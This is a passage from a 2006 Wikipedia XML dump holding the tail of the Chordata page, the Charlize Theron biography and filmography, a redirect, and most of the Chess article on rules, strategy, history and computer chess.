******* [[Amphibia]] (amphibians)
******* [[Amniotes]] (amniotic egg)
******** [[Synapsida]]
********* [[Mammal]]ia (mammals)
******** [[Reptilia]] (most modern reptiles)
********* [[Anapsida]]
********** [[Turtle|Testudines]] (turtles)
********* [[Diapsida]]
********** [[Lepidosauria]] ([[lizard]]s, [[snake]]s, [[tuatara]])
********** [[Archosauria]]
*********** [[Crocodilia]] ([[crocodile]]s, [[alligator]]s, [[caiman]]s, [[gharial]]s)
*********** [[Dinosauria]]
************ [[Bird|Aves]] (birds)

{{Wikispecies|Chordata}}
{{Wikibookspar|Dichotomous Key|Chordata}}

[[Category:Chordates| ]]

[[ast:Chordata]]
[[bg:Хордови]]
[[ca:Cordat]]
[[cs:Strunatci]]
[[cy:Cordog]]
[[da:Chordater]]
[[de:Chordatiere]]
[[et:Keelikloomad]]
[[es:Cordado]]
[[eo:Ĥordulo]]
[[fr:Chordés]]
[[fy:Rêchstringdier]]
[[ko:척색동물]]
[[ia:Chordatos]]
[[it:Chordata]]
[[he:מיתרניים]]
[[la:Chordata]]
[[lt:Chordiniai]]
[[li:Chordata]]
[[jbo:skoselti'e]]
[[mk:Хордати]]
[[nl:Chordadieren]]
[[ja:脊索動物]]
[[no:Ryggstrengdyr]]
[[oc:Chordata]]
[[pl:Strunowce]]
[[pt:Cordado]]
[[ru:Хордовые]]
[[sl:Strunarji]]
[[sr:Хордати]]
[[fi:Selkäjänteiset]]
[[sv:Ryggsträngsdjur]]
[[th:สัตว์มีแกนสันหลัง]]
[[tr:Kordalılar]]
[[uk:Хордові]]
[[zh:脊索动物]]</text>
    </revision>
  </page>
  <page>
    <title>Charlize Theron</title>
    <id>5132</id>
    <revision>
      <id>41661881</id>
      <timestamp>2006-02-28T22:27:10Z</timestamp>
      <contributor>
        <ip>131.91.247.40</ip>
      </contributor>
      <comment>Removing unnecessary quotation marks around character names</comment>
      <text xml:space="preserve">[[Image:Charlize.Theron.0499.jpg|thumb|Charlize Theron, April 1999]]
'''Charlize Theron''' (born [[August 7]] [[1975]]) is an [[Academy Award|Oscar]]-winning [[South African]] [[Actor|actress]].

==Early life==
Theron was born in [[Benoni]], [[South Africa]]. Her father, Charles Theron, was a construction company owner of [[French people|French]] [[Huguenot]] descent; her mother, Gerda, is of [[German People|German]] descent and took over her husband's business after his death. Theron's first language is [[Afrikaans language|Afrikaans]], and her second is [[English language|English]]. &quot;Theron&quot; is a [[French language|French]] surname pronounced in Afrikaans as &quot;Tronn&quot;, although she has stated that she prefers the pronunciation &quot;Thrown&quot; [http://www.aclasscelebs.com/charlizet/interview.htm].

Theron grew up as the only child on her parents' farm near [[Johannesburg]] (Benoni) and was sent to a [[boarding school]] at the age of thirteen. At fifteen, Theron witnessed the death of her father; he was an [[abuse|abusive]] [[alcoholic]], and her mother shot him in [[self defense]] when he attacked her. No charges were pressed.

==Career==
[[Image:Charlizether.jpg|left|175px|thumb|Theron in ''[[Sweet November]]'']]
At the age of sixteen, Theron travelled to [[Milan]], [[Italy]] on a one-year [[model (person)|modelling]] contract, after winning a local competition. Her contract ended while she was in [[New York City]], and she decided to remain there, attending the [[Joffrey Ballet]], where she trained as a [[ballet]] dancer and performed in productions of both ''[[Swan Lake]]'' and ''[[The Nutcracker]]''. A knee injury ended this career path at the age of 18. 
Unable to dance, she bought a ticket to [[Los Angeles, California|Los Angeles]]. After eight months in the city, she was cast in her first film part, a non-speaking role in the [[direct-to-video]] film ''Children of the Corn III''. She followed this with larger roles in widely released [[Hollywood]] films, and her career skyrocketed in the late [[1990s]], with box office successes like ''[[The Devil's Advocate]]'', ''[[The Cider House Rules]]'', and ''[[Mighty Joe Young]]''.

In [[1999]], she posed nude for the May issue of ''[[Playboy]]'' magazine.

After appearing in a few notable films, Theron starred as [[serial killer]] [[Aileen Wuornos]] in the film ''[[Monster (movie)|Monster]]'' ([[2003 in film|2003]]). Receiving praise for her performance (film critic [[Roger Ebert]] called it &quot;one of the greatest performances in the history of the cinema&quot; [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20040101/REVIEWS/40310032/1023]), Theron won the [[Academy Award for Best Actress|Best Actress]] Oscar at the [[76th Academy Awards]] in [[February 2004]], as well as the [[Screen Actors Guild#SAG Awards|SAG Award]] and the [[Golden Globe Award]]. She is the first [[South Africa|South African]] to win an Oscar for Best Actress.

[[Image:Charlizether2.jpg|right|175px|thumb|Theron in ''[[Head in the Clouds]]'']]
Having signed a deal with [[John Galliano]] in [[2004]], Theron replaced [[Estonia]]n model Tiiu Kuik in the ''J'ADORE'' advertisements by [[Christian Dior]]; she is the current spokeswoman for [[Dior]] perfume. On [[September 2005|September 30, 2005]], she received her own bronze star on the [[Hollywood Walk of Fame]]. In the same year, she starred in the financially unsuccessful [[science fiction]] thriller ''[[Æon Flux (film)|Æon Flux]]'' [http://www.imdb.com/title/tt0402022/business] and was given positive reviews, as well as a ''Best Actress'' [[Golden Globe]] nomination, for her lead performance in the drama ''[[North Country (2005 film)|North Country]]''. She has also been nominated for an [[Academy Award|Oscar]] as a lead actress for the role; this is her second nomination.

In 2005, Theron also portrayed Rita, Michael Bluth's ([[Jason Bateman]]) love interest on the third season of [[Fox Broadcasting Company|FOX]]'s critically acclaimed sitcom, ''[[Arrested Development]]''.

==Personal life==
Theron dated the [[lead singer]] of [[Third Eye Blind]], [[Stephan Jenkins]], from [[January 1998]] to [[July 2001]]. Jenkins broke up with her after failing to take her requests of [[marriage]] seriously [http://www.tribute.ca/tribute/1205/sex_degrees.htm]. Theron now resides in [[Los Angeles]] with her long-term boyfriend, [[Stuart Townsend]], with whom she starred in the 2004 film, ''[[Head in the Clouds]]''; she has said that she will not marry him until [[Same-sex marriage|same-sex couples]] are able to have their marriages recognized. In [[October 2005]], her mother, Gerda, was married in [[California]]. The media thought that Charlize was the one getting married (to Townsend) and the paparazzi got as close as they could for the photos.

While filming ''Æon Flux'' in [[Berlin]], [[Germany]], Theron had surgery on a [[hernia]]ted [[cervical vertebrae|cervical]] disc in her neck, the result of an injury incurred on the set during a stunt.

Theron is also involved in [[feminism|women's rights]] organizations [http://www.smh.com.au/articles/2004/04/26/1082831473096.html]. She has tried to apply for a [[Germany|German]] passport because of her mother's German ancestry, but was turned down because she did not have any family members currently residing there.[http://news.webindia123.com/news/showdetails.asp?id=261582&amp;cat=Entertainment]

==Selected filmography==
[[Image:monster02.jpg|right|175px|thumb|Theron as Aileen Wuornos in '''''Monster''''']]
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- bgcolor=&quot;#CCCCCC&quot; align=&quot;center&quot;
| '''Year''' || '''Title''' || '''Role''' || '''Other notes'''
|-
| [[2005 in film|2005]] || ''[[Aeon Flux (film)|Aeon Flux]]'' || Aeon Flux ||
|-
| [[2005 in film|2005]] || ''[[North Country (film)|North Country]]'' || Josey Aimes ||
|-
| [[2004 in film|2004]] || ''[[Head in the Clouds]]'' || Gilda Bessé || limited release
|-
| [[2003 in film|2003]] || ''[[Monster (film)|Monster]]'' || Aileen Wuornos ||
|-
| [[2003 in film|2003]] || ''[[The Italian Job (2003 film)|The Italian Job]]'' || Stella Bridger ||
|-
| [[2002 in film|2002]] || ''Waking Up in Reno'' || Candy Kirkendall ||
|-
| [[2002 in film|2002]] || ''[[Trapped (film)|Trapped]]'' || Karen Jennings ||
|-
| [[2001 in film|2001]] || ''[[Sweet November]]'' || Sara Deever ||
|-
| [[2000 in film|2000]] || ''[[The Legend of Bagger Vance]]'' || Adele Invergordon ||
|-
| [[2000 in film|2000]] || ''[[The Yards]]'' || Erica Stoltz ||
|-
| [[2000 in film|2000]] || ''[[Reindeer Games]]'' || Ashley Mercer ||
|-
| [[1999 in film|1999]] || ''[[The Cider House Rules (film)|The Cider House Rules]]'' || Candy Kendall ||
|-
| [[1999 in film|1999]] || ''[[The Astronaut's Wife]]'' || Jillian Armacost ||
|-
| [[1998 in film|1998]] || ''[[Mighty Joe Young]]'' || Jill Young ||
|-
| [[1998 in film|1998]] || ''[[Celebrity (film)|Celebrity]]'' || Supermodel ||
|-
| [[1997 in film|1997]] || ''[[The Devil's Advocate]]'' || Mary Ann Lomax ||
|-
| [[1997 in film|1997]] || ''Trial and Error'' || Billie Tyler ||
|-
| [[1996 in film|1996]] || ''[[2 Days in the Valley]]'' || Helga Svelgen ||
|}

==External links==
===Interviews===
{{wikiquote}}
*[http://www.moviehole.net/interviews/20060201_interview_charlize_theron_and.html MovieHole interview] (February 1, 2006)
*[http://film.guardian.co.uk/interview/interviewpages/0,6737,1183644,00.html Guardian Unlimited interview] (April 2, 2004)
*[http://www.darkhorizons.com/news05/aeon2.php Dark Horizons interview] (January 3, 2004)
*[http://www.splicedonline.com/03features/ctheron.html Spliced Wire interview] (December 22, 2003)
*[http://actionadventure.about.com/cs/weeklystories/a/aa121903.htm About.com interview] (December 19, 2003)
===Web sites===
*[http://www.charlizetheron.com/ Official Site]
*[http://people.noteroom.com/charlize_theron.html Charlize Theron in the News]
*[http://www.timesonline.co.uk/newspaper/0,,176-1279700_1,00.html 'Theron brushes up on Hill of Tara]
* {{imdb name|id=0000234|name=Charlize Theron}} 


[[Category:1975 births|Theron, Charlize]]
[[Category:Best Actress Oscar|Theron, Charlize]]
[[Category:Best Actress Oscar Nominee|Theron, Charlize]]
[[Category:Cast of Arrested Development|Theron, Charlize]]
[[Category:Film actors|Theron, Charlize]]
[[Category:Living people|Theron, Charlize]]
[[Category:Pro-choice celebrities|Theron, Charlize]]
[[Category:South African actors|Theron, Charlize]]
[[Category:South African models|Theron, Charlize]]
[[Category:Worst Actress Razzie nominees|Theron, Charlize]]

[[de:Charlize Theron]]
[[es:Charlize Theron]]
[[fr:Charlize Theron]]
[[it:Charlize Theron]]
[[nl:Charlize Theron]]
[[ja:シャーリーズ・セロン]]
[[no:Charlize Theron]]
[[pl:Charlize Theron]]
[[pt:Charlize Theron]]
[[sk:Charlize Theron]]
[[fi:Charlize Theron]]
[[sq:Charlize Theron]]
[[sv:Charlize Theron]]
[[tr:Charlize Theron]]
[[zh:莎莉·賽隆]]</text>
    </revision>
  </page>
  <page>
    <title>Charlize Theron/Filmography</title>
    <id>5133</id>
    <revision>
      <id>15903363</id>
      <timestamp>2002-09-30T07:14:54Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <minor />
      <comment>make a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Charlize Theron]]</text>
    </revision>
  </page>
  <page>
    <title>Chess</title>
    <id>5134</id>
    <revision>
      <id>41911178</id>
      <timestamp>2006-03-02T15:43:22Z</timestamp>
      <contributor>
        <ip>128.6.175.48</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''For other meanings, see [[Chess (disambiguation)]].'' 
{{Spoken Wikipedia|Chess.ogg|2005-09-05}}
{{Infobox_Game|
  subject_name=Chess |
  image_link=[[Image:ChessSet.jpg|none|250px|The Chess Pieces]] |
  image_caption=From left, a white [[King (chess)|king]], black [[rook (chess)|rook]] and [[queen (chess)|queen]], white [[pawn (chess)|pawn]], black [[knight (chess)|knight]], and white [[bishop (chess)|bishop]] in a set of [[Howard Staunton|Staunton chess pieces]]. |
  players=2 |
  ages=Recommended 4 years and up.|
  setup_time=30-60 seconds |
  playing_time=10-240 minutes, more for tournament games|
  complexity=Medium |
  strategy=High |
  random_chance=None |
  skills=[[Chess_strategy_and_tactics|Tactics]], [[Chess_strategy_and_tactics|Strategy]]  |
  footnotes =
}}
{{portal}} 
'''Chess''' is an [[abstract strategy]] [[board game]] for two players. It is played on a square [[Chessboard|board]] of eight rows (called ''ranks'') and eight columns (called ''files''), giving 64 squares of alternating colour, light and dark, with each player having a light square at the near-right corner when facing the board. Each player begins the game with 16 [[Chess piece|pieces]] which can move in defined directions (and in some instances, limited range) and can remove other pieces from the board: each player's pieces comprise eight [[pawn (chess)|pawns]], two [[knight (chess)|knights]], two [[bishop (chess)|bishops]], two [[rook (chess)|rooks]], one [[queen (chess)|queen]] and one [[king (chess)|king]]. All pieces can remove opponent's pieces by landing on the space they occupy.

One player controls the white pieces; the other player controls the black pieces (the player that controls white is always the first player to move).  In chess, when a player's king is directly threatened with capture by one or more of the opponent's pieces, the player is said to be in ''check''.  When in check, only moves that can evade check, block check, or take the offending piece are permitted.  The object of the game is to [[checkmate]] the opponent; this occurs when the opponent's king is in check, and no move can be made that would prevent it.

==Introduction==
Chess is not a [[game of chance]]; it is based solely on [[Chess tactic|tactics]] and [[strategy]]. Nevertheless, the game is so complex that not even the best players can consider all contingencies: although only 64 squares and 32 pieces are on the board, the number of possible games that can be played far exceeds the number of [[atom]]s in the universe (see [[Shannon number]]).

Chess is one of the world's most [[popularity|popular]] games; it has been described not only as a game but also as an [[art]] and a [[science]]. Chess is sometimes seen as an [[Abstract strategy|abstract]] [[wargame]]; as a &quot;[[mind|mental]] [[martial art]]&quot;, and teaching chess has been advocated as a [[Chess as mental training|way of enhancing mental prowess]]. Chess is played both recreationally and competitively in [[Chess club|clubs]], tournaments, online, and [[Play-by-mail game|by mail]] ([[correspondence chess]]). Many [[Chess variant|variants]] and relatives of chess are played throughout the world. The most popular, in descending order by number of players, are [[xiangqi]] in [[China]], [[shogi]] in [[Japan]], and [[janggi]] in [[Korea]].

==Gameplay==
===Rules of chess===
: ''Main article: [[Rules of chess]]''
{{Chess diagram|=
| tright
|
|=

 8 |rd|nd|bd|qd|kd|bd|nd|rd|=
 7 |pd|pd|pd|pd|pd|pd|pd|pd|=
 6 |  |  |  |  |  |  |  |  |=
 5 |  |  |  |  |  |  |  |  |=
 4 |  |  |  |  |  |  |  |  |=
 3 |  |  |  |  |  |  |  |  |=
 2 |pl|pl|pl|pl|pl|pl|pl|pl|=
 1 |rl|nl|bl|ql|kl|bl|nl|rl|=
    a  b  c  d  e  f  g  h

| The position of the pieces at the start of a game of chess.
}}
{| class=&quot;toccolours&quot; border=&quot;1&quot; cellpadding=&quot;4&quot; style=&quot;float: right; margin: 0 0 1em 1em; border-collapse: collapse; font-size: 95%; clear: right&quot;
|-
!Name
!Letter
!Picture
|-
|[[Pawn (chess)|Pawn]]
|P
|[[Image:Chess pll44.png|20px|Pawn]]
|-
|[[Knight (chess)|Knight]]
|N
|[[Image:Chess nll44.png|20px|Pawn]]
|-
|[[Bishop (chess)|Bishop]]
|B
|[[Image:Chess bll44.png|20px|Pawn]]
|-
|[[Rook (chess)|Rook]]
|R
|[[Image:Chess rll44.png|20px|Pawn]]
|-
|[[Queen (chess)|Queen]]
|Q
|[[Image:Chess qll44.png|20px|Pawn]]
|-
|[[King (chess)|King]]
|K
|[[Image:Chess kll44.png|20px|Pawn]]
|-
|}

When a game of chess begins, one player controls the sixteen white pieces while the other uses the sixteen black pieces. The colors are chosen either by a friendly agreement, by a [[game of chance]], or by a [[tournament]] director. White always moves first and therefore has a slight advantage over black. The [[chess piece]]s should be set up on a standard [[chessboard]] with a white square in the near right hand corner.

Each kind of chess piece moves a different way. The [[Rook (chess)|rook]] moves any number of spaces vertically or horizontally, while the [[bishop (chess)|bishop]] moves any number of spaces in any direction diagonally (meaning a bishop will always remain on the same color). The [[Queen (chess)|queen]] is a combination of the rook and bishop (it can move any number of spaces diagonally, horizontally, or vertically). The [[king (chess)|king]] can move only one square horizontally, vertically, or diagonally. The [[knight (chess)|knight]] can jump over occupied squares and moves two spaces horizontally and one space vertically (or vice versa), making an L shape; a knight in the middle of the board has eight squares it can move to.

With the exception of the knight, pieces cannot jump over each other. One's own pieces (&quot;friendly pieces&quot;) cannot be passed if they are in the line of movement, and a friendly piece can never replace another friendly piece. Enemy pieces cannot be passed, but they can be &quot;captured&quot;. When a piece is captured (or taken), the attacking piece replaces the enemy piece on its square ([[en passant]] being the only exception). The king cannot be captured in regular chess, only put in [[check]]. If a player is unable to get their king out of check it is called [[checkmate]] and they have lost the game.

[[Pawn (chess)|Pawns]] capture differently than they move; they can capture an enemy piece on either of the two spaces adjacent to the space in front of them (i.e., the two squares diagonally in front of them), but cannot move to these spaces if they are vacant; conversely, a pawn can move forward one square, but only if that square is unoccupied. Alternatively, a pawn can move two squares forward if it has not moved yet and both squares are empty. If a pawn advances all the way to the eighth rank, it can be promoted to any other piece, except a King or another pawn.

Chess games do not have to end in checkmate. Either player may resign if the situation looks hopeless; also, games may end in a [[Draw (chess)|draw]] (tie). A draw can occur in many situations, including mutual agreement to draw, draw by insufficient material, [[stalemate]], [[threefold repetition]] or the [[fifty move rule]].

Until the 1970s, at least in English-speaking countries, chess games were recorded and published using [[descriptive chess notation]]. This has been supplanted by the more compact [[algebraic chess notation]]. Several notations have emerged, based upon algebraic chess notation, for recording chess games in a format suitable for computer processing. Of these, [[Portable Game Notation]] (PGN) is the most common. Apart from recording games, there is also a notation [[Forsyth-Edwards Notation]] for recording specific positions. This is useful for adjourning a game to resume later or for conveying chess problem positions without a diagram.

To better understand rules of chess, please see a [[sample chess game]], which explains chess through a simple demonstration, move after move.

===Strategy and tactics===
: ''Main article: [[Chess strategy and tactics]]''
[[Chess opening]]s are a sequence of moves, often memorized, which will help a player build up their position and prepare for the [[middlegame]]. Openings are often designed to take hold of the center of the board (e4, e5, d4 and d5), develop pieces, protect the king, and create a strong pawn structure. [[Hypermodernism (chess)|Hypermodernism]] advocates the control of the center not by using pawns but with distant pieces. It is often important for a player to [[Castling|castle]] (a special move that moves the king from the center of the board two squares towards one of the corners) to protect the king. See the [[list of chess openings]] for more information.
{{Chess diagram|=
| tright
|
|=

8  |  |rd|kd|  |  |  |  |  |=
7  |  |  |  |  |  |  |  |  |=
6  |  |  |  |  |nd|  |  |  |=
5  |  |  |  |  |  |bl|  |  |=
4  |  |nl|  |  |  |  |  |  |=
3  |  |  |  |  |  |  |  |  |=
2  |  |  |  |  |  |  |  |  |=
1  |  |ql|  |kl|  |  |  |  |=
|In this position, the black knight on e6 is pinned to its king by the white bishop, and the white knight is pinned to the queen on b1.
}}

When taking and trading pieces, the [[chess piece point value]]s becomes important. Valuations differ slightly from book to book, but generally, queens are worth 9 points, rooks are worth 5, bishops and knights are worth 3, and pawns are worth 1. Since the king's loss ends the game it is invaluable. The actual value and importance of a piece will vary based upon its position and the stage of the game. If a player performs a [[Sacrifice (chess)|sacrifice]] (e.g. [[exchange sacrifice]]), they are choosing to ignore the standard valuation of their pieces for positional or tactical gains. The beginning player should be aware that points are not an inherent part of the game; there is no scoring and chess was played long before the idea of assigning points to pieces. Instead, points are used by a player to consider whether he will come out materially better than his opponent in an exchange of pieces. For instance, to lose two pawns (2 points) in taking the opponent's knight (3 points) puts one ahead in material by one point. Such an advantageous exchange of pieces may, however, be a poor tactic if it leaves the opponent with an exploitable advantage in the way the pieces are positioned on the board. 

Chess combinations and [[:Category:Chess traps|traps]] do not appear out of thin air. Usually they are present because the opponent has certain weaknesses in their position. These types of &quot;weaknesses&quot; include:  pinned pieces, overloaded pieces, weaknesses around the opponents king, weak squares, unprotected pieces, weak colour complexes, pieces not able to come back to defend the king, etc. These &quot;weaknesses&quot; can then be expoloitable with a chess combination that is often built out of a number of tactical &quot;methods&quot;.  Such weaknesses are often created in the opponent's position in the first place by threats, provocative moves, and generally strong &quot;positional play&quot;, etc. 

Chess combinations often include a number of types of tactic &quot;methods&quot; which many middlegame books classify and provide examples of. Such common &quot;methods&quot; include Pins, Forks, Skewers, Discovered checks, Zuichenzugs, Deflections, Decoys, Sacrifices, Forcing moves, and even &quot;Quiet moves&quot; - which can be devastating moves that leave the oppponent in Zugzwang, or an otherwise lost position. In many combinations of Alexander Alekhine, there is often a very subtle &quot;quiet move&quot; which breaks the Camel's back.  For clarification, it should be noted that a &quot;pin&quot; is a tactical &quot;method&quot;- the act of pinning the opponents pieces. But a &quot;pinned piece&quot; is a specific type of weakness in the opponents position, which when identified, could be exploited with a tactical combination. 

A [[Fork (chess)|fork]] is a situation where a piece is moved such that it attacks (forks) two other pieces simultaneously. It usually is difficult for the other player to protect both of their pieces in one move. [[Pin (chess)|Pins]] are used to prevent the movement of an enemy piece by threatening any pieces behind it should it move. [[Skewer (chess)|Skewer]]s are a kind of reverse pin where the more valuable piece is placed in front of a less important one. A [[discovered attack]] is an attack where a piece moves and uncovers a line for another piece which does the attacking. Other tactical elements include: [[zwischenzug]], [[undermining (chess)|undermining]], [[Overloading (chess)|overloading]], and [[Interference (chess)|interference]].

A few common positional elements which high level Chess players routinely must assess include Pawn structure, King safety, Space, the presence of pawn islands, isolated pawns, backward pawns, doubled pawns. In addition there are factors such as the two bishops which compensate each others weaknesses. Most middlegame books recommend that once an assessment of the elements of the position has taken place, it is then recommended to try and form a &quot;plan&quot; to create an advantage. Once a plan is formulated, it is then recommended to try and ensure the plan is feasible through the process of checking concrete variations.

Great chess writer [[Aron Nimzowitsch]] outlined in the classic work &quot;My system&quot; a number of middlegame positional principles such as &quot;Rook on the 7th rank&quot;, &quot;Undermining the pawn chain&quot;, &quot;Restrain, blockade and destroy&quot;. This work has influenced generations of modern chess players in how they think in the middlegame.

During the [[endgame]], pawns and kings become relatively more powerful pieces as both sides often try to [[Promotion (chess)|promote]] their pawns. If one player has a large material advantage, checkmate may happen quickly in the endgame. If the game is relatively even, [[tablebase]]s and [[endgame study]] are essential. Controlling the [[Tempo (chess)|tempo]] (time used by each move) becomes especially important when fewer pieces are left on the board. In some cases, a player will have a material advantage, but will not have enough material to force a checkmate.  In this case, the game is considered a draw by insufficient material.

===Alternative ways to play chess===
[[Blitz chess]] is a version of chess where a [[Game clock|chess clock]] is used to limit the [[Time control|time control]] for each player. Generally each side has three to fifteen minutes (five is common) for all of their moves. An even faster version of chess is known as ''[[bullet chess]]'' or ''lightning chess''. Bullet chess's time controls are less than three minutes. Speed chess requires the player to spend less time thinking because if the player's time runs out, they lose. When playing at a faster time, computers become relatively more powerful than humans.

When two players are separated by great distances they can still play chess. [[Correspondence chess]] is chess played through the [[mail]], [[e-mail]] or special [[Correspondence Chess Server]]s. Today, chess is often [[internet chess server|played on the internet]] through the [[Internet Chess Club]], [[FICS]] or another host.

Chess can also be played [[Blindfold chess|blindfold]]. In this case the play is conducted without the players having sight of the positions of the pieces, or any physical contact with them. Moves are communicated via chess notation.

===Chess variants===
: ''Main article: [[Chess variant]]''

Chess variants are forms of chess where the game is played with a different board, special [[Fairy chess piece|fairy pieces]] or different rules. There are over 1500 unique variants of chess. [[Bobby Fischer]] noted the overemphasis on memorizing chess openings in normal chess and invented [[Fischer Random Chess]]. In this chess variant initial position selected randomly before each game, which makes impossible to prepare the opening play in advance.

There are many more chess variants, like [[Suicide chess]], where the goal of the game is to lose all of ones pieces and if a piece can be taken, it must be taken by the opposing side. Very popular between chess players is also [[Bughouse chess]], in which two teams of players play against each other and give captured pieces to their partner. In [[Progressive chess]] the number of pieces one can move increases each turn (i.e. white moves one piece, black moves two, white moves three, black moves four etc.)


==History==
===Origins of chess===
: ''Main article: [[Origins of chess]]''

[[Image:Youth at chess with suitors - Haft Awrang.jpg|thumb|right|250px|A Persian youth playing chess with two suitors. Chess was played in [[Iran|Persia]] as early as the 3rd century AD.]]

Many countries claim to have invented the chess game in some incipient form. The most commonly held view among historians is that chess originated in [[Sindh]].  In ancient India, it was called [[Chaturanga]]. The earliest mention of Chaturanga, or any version of chess, appears in the [[Sanskrit]] epic [[Mahabharata]], written circa 500 BC. It is also believed that the [[Persian people|Persians]] created a more modern version of the game after the Indians named [[Shatranj]]. The oldest known chess pieces have been found in excavations of [[Mohenjo-daro|Moen jo Daro]] in [[Sindh]] dated to the 3000 BC. One ancient text refers to Shah Ardashir, who ruled 224 - 241 AD, as a master of the game. Another theory exists that chess arose from the similar game of [[Xiangqi|Chinese chess]], or at least a predecessor thereof, existing in China since the 2nd century BC. [[Joseph Needham]] and [[David Li]] are two of many scholars who have favored this theory.

Chess eventually spread westward to Europe and eastward as far as Japan, spawning variants as it went. One theory suggests that it migrated from India to [[Iran|Persia]], where its terminology was translated into Persian, and its name changed to ''chatrang''. The entrance of chess into Europe, notably, is marked by a massive improvement in the powers of the [[queen (chess)|queen]]. The oldest known texts describing chess seem to indicate a bi-directional spread from the Persian empire. From Persia it entered the Islamic world, where the names of its pieces largely remained in their Persian forms in early Islamic times. Its name became ''[[shatranj]]'', which continued in [[Spanish language|Spanish]] as ''ajedrez'' and in [[Greek language|Greek]] as ''zatrikion'', but in most of Europe was replaced by versions of the Persian word ''sh&amp;#257;h'' = &quot;king&quot;.

There is a theory that this name replacement happened because, before the game of chess came to Europe, merchants coming to Europe brought ornamental chess kings as curiosities and with them their name ''sh&amp;#257;h'', which Europeans mispronounced in various ways.

*'''Checkmate''': This is the [[English language|English]] rendition of ''sh&amp;#257;h m&amp;#257;t'', which is [[Persian language|Persian]] for &quot;the king is finished&quot;.
*'''Rook''': From the Persian ''rukh'', which means &quot;chariot&quot;, but also means &quot;cheek&quot; (part of the [[face]]). The piece resembles a siege tower. It is also believed that it was named after the mythical Persian bird of great power called the [[roc]]. In India, the piece is more popularly called ''haathi'', which means &quot;elephant&quot;.
*'''Bishop'''. From the [[Persian language|Persian]] ''pīl'' means &quot;the elephant&quot;, but in Europe and the western part of the Islamic world people knew little or nothing about elephants, and the name of the chessman entered Western Europe as Latin ''alfinus'' and similar, a word with no other meaning (in Spanish, for example, it evolved to the name &quot;alfil&quot;). This word &quot;alfil&quot; is actually the Arabic for &quot;elephant&quot; hence the Spanish word would most certainly have been taken from the Islamic provinces of Spain. The English name &quot;bishop&quot; is a rename inspired by the conventional shape of the piece.
*'''Queen'''. Persian ''farz&amp;#299;n'' = &quot;[[vizier]]&quot; became Arabic ''firz&amp;#257;n'', which entered western European languages as forms such as ''alfferza'', ''fers'', etc but was later replaced by &quot;queen&quot;. 

The game spread throughout the [[Islam|Islamic]] world after the Muslim conquest of Persia. Chess eventually reached [[Russia]] via [[Mongolia]], where it was played at the beginning of the 7th century. It was introduced into [[Spain]] by the [[Moors]] in the 10th century, and described in a famous 13th century manuscript covering chess, [[backgammon]], and [[dice]] named the ''[[Libro de los juegos]]''. Chess also found its way across [[Siberia]] into [[Alaska]].

=== Modern chess ===
[[Image:Staunton chess set.jpg|thumbnail|right|250px|A typical Staunton-design set and [[Game clock|clock]].]]

Early on, the pieces in European chess had limited movement; bishops could only move by jumping exactly two spaces diagonally (similar to the elephant in xiangqi), the queen could move only one space diagonally, pawns could not move two spaces on their first move, and there was no castling. By the end of the 15th century, the modern rules for the basic moves had been adopted from [[Italy]]: pawns gained the option of moving two squares on their first move and the [[En_passant|en passant]] capture therewith, bishops acquired their modern move, and the queen was made the most powerful piece; consequently modern chess was referred to as &quot;Queen's Chess&quot; or &quot;Mad Queen Chess&quot;. The game in Europe since that time has been almost the same as is played today. The current rules were finalized in the early 19th century, except for the exact conditions for a draw.

The most popular piece design, the &quot;Staunton&quot; set, was created by [[Nathaniel Cook]] in 1849, endorsed by [[Howard Staunton]], a leading player of the time, and officially adopted by [[Fédération Internationale des Échecs]] (FIDE) in 1924.

Chess's international governing body is FIDE, which has presided over the world championship matches for decades. Most countries of the world have a national chess organization as well. Although chess is not an Olympic sport, it has its own [[Chess Olympiad|Olympiad]], held every two years as a team event.

===World chess champions===
: ''Main article: [[World Chess Championship]]''

* '''Unofficial champions (pre-championship era)'''
**[[François-André Danican Philidor|Philidor]]
**[[Howard Staunton]]
**[[Adolf Anderssen]]
**[[Paul Morphy]]

* '''Official champions (1866–1993)'''
**[[Wilhelm Steinitz]]
**[[Emanuel Lasker]]
**[[José Raúl Capablanca]]
**[[Alexander Alekhine]]
**[[Max Euwe]]
**[[Mikhail Botvinnik]]
**[[Vassily Smyslov]]
**[[Mikhail Tal]]
**[[Tigran Petrosian]]
**[[Boris Spassky]]
**[[Robert Fischer]]
**[[Anatoly Karpov]]
**[[Garry Kasparov]]

* '''&quot;Classical champions&quot; (1993–present)'''
**[[Garry Kasparov]]
**[[Vladimir Kramnik]] (current)

* '''FIDE champions (1993–present)'''
**[[Anatoly Karpov]]
**[[Alexander Khalifman]]
**[[Viswanathan Anand]]
**[[Ruslan Ponomariov]]
**[[Rustam Kasimdzhanov]]
**[[Veselin Topalov]] (current)

==Computer chess==
: ''Main article: [[Computer chess]]''

Serious work on machines that play chess has been going on since 1890, and [[computer chess|chess-playing computer programs]] featured prominently in the [[artificial intelligence]] boom of the 1950s - 1970s. At first considered only a curiosity, the best chess playing programs — like [[Shredder (chess)|Shredder]], [[Fritz (chess)|Fritz]] etc. — have become extremely strong players. In blitz chess, they can beat the best human players; at regular time controls, however, battles between the very best chess programs and the very best human players have been tantalizingly finely balanced. However, it is important to note that the method by which computer programs play chess does not really resemble the way humans play chess — the computer basically just calculates the board position after every possible combination of legal moves and acts accordingly, whereas human masters act more from intuition and pattern recognition. Moreover, as [[central processing unit|CPU]] speed and memory become less expensive, computer chess programs can search ever larger numbers of moves in the same amount of time, and store ever larger databases of [[chess opening|opening]] and [[endgame]] positions. Nor has the study of chess proven particularly useful in the broader AI field; the methods used to play high-level chess are very different to the ones used for [[machine learning]], [[machine vision]], and the like.

[[Garry Kasparov]], then ranked number one in the world, played a six-game match against [[International Business Machines|IBM]]'s chess computer [[Deep Blue]] in February 1996. Deep Blue shocked the world by winning the first game in [[Deep Blue - Kasparov, 1996, Game 1]], but Kasparov convincingly won the match by winning three games and drawing two.

The six-game rematch in May 1997 was won by the machine (informally dubbed Deeper Blue) which was subsequently retired by IBM. In October 2002, [[Vladimir Kramnik]] drew in an eight-game match with the computer program [[Deep Fritz]].  In 2003, Kasparov drew both a six-game match with the computer program [[Deep Junior]] in February, and a four-game match against [[X3D Fritz]] in November.

